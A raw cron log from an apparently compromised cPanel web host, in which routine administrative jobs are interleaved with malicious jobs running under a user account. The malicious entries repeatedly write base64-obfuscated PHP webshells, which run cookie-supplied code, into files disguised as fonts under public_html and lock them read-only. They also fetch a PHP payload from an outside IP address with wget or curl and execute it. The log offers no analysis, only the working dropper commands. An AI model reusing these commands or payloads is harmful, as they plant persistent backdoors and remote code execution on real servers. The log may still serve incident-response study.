Aug 31 21:20:01 ip-184-168-122-23 CROND[30490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:20:01 ip-184-168-122-23 CROND[30491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:20:01 ip-184-168-122-23 CROND[30493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:20:01 ip-184-168-122-23 CROND[30492]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:21:02 ip-184-168-122-23 CROND[30584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:21:02 ip-184-168-122-23 CROND[30587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:21:02 ip-184-168-122-23 CROND[30586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:21:02 ip-184-168-122-23 CROND[30588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:22:01 ip-184-168-122-23 CROND[30673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:22:01 ip-184-168-122-23 CROND[30675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:22:01 ip-184-168-122-23 CROND[30674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:22:01 ip-184-168-122-23 CROND[30677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:22:01 ip-184-168-122-23 CROND[30676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:23:01 ip-184-168-122-23 CROND[30755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:23:01 ip-184-168-122-23 CROND[30756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:23:01 ip-184-168-122-23 CROND[30759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:23:01 ip-184-168-122-23 CROND[30762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:24:01 ip-184-168-122-23 CROND[30836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:24:01 ip-184-168-122-23 CROND[30840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:24:01 ip-184-168-122-23 CROND[30839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:24:01 ip-184-168-122-23 CROND[30841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:24:01 ip-184-168-122-23 CROND[30838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:25:01 ip-184-168-122-23 CROND[31017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:25:01 ip-184-168-122-23 CROND[31018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:25:01 ip-184-168-122-23 CROND[31019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:25:01 ip-184-168-122-23 CROND[31023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:25:01 ip-184-168-122-23 CROND[31025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:25:01 ip-184-168-122-23 CROND[31024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:26:01 ip-184-168-122-23 CROND[31125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:26:01 ip-184-168-122-23 CROND[31127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:26:01 ip-184-168-122-23 CROND[31128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:26:01 ip-184-168-122-23 CROND[31129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:26:01 ip-184-168-122-23 CROND[31130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:27:01 ip-184-168-122-23 CROND[31231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:27:01 ip-184-168-122-23 CROND[31234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:27:01 ip-184-168-122-23 CROND[31238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:27:01 ip-184-168-122-23 CROND[31239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:28:01 ip-184-168-122-23 CROND[31321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:28:01 ip-184-168-122-23 CROND[31325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:28:01 ip-184-168-122-23 CROND[31323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:28:01 ip-184-168-122-23 CROND[31324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:28:01 ip-184-168-122-23 CROND[31326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:29:01 ip-184-168-122-23 CROND[31428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:29:01 ip-184-168-122-23 CROND[31427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:29:01 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:29:01 ip-184-168-122-23 CROND[31430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:30:01 ip-184-168-122-23 CROND[31516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:30:01 ip-184-168-122-23 CROND[31517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:30:01 ip-184-168-122-23 CROND[31518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:30:01 ip-184-168-122-23 CROND[31520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:30:01 ip-184-168-122-23 CROND[31527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:30:01 ip-184-168-122-23 CROND[31529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:30:01 ip-184-168-122-23 CROND[31530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:30:01 ip-184-168-122-23 CROND[31531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:31:01 ip-184-168-122-23 CROND[31614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:31:01 ip-184-168-122-23 CROND[31617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:31:01 ip-184-168-122-23 CROND[31618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:31:01 ip-184-168-122-23 CROND[31616]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:31:01 ip-184-168-122-23 CROND[31619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:32:01 ip-184-168-122-23 CROND[31708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:32:01 ip-184-168-122-23 CROND[31710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:32:01 ip-184-168-122-23 CROND[31713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:32:01 ip-184-168-122-23 CROND[31711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
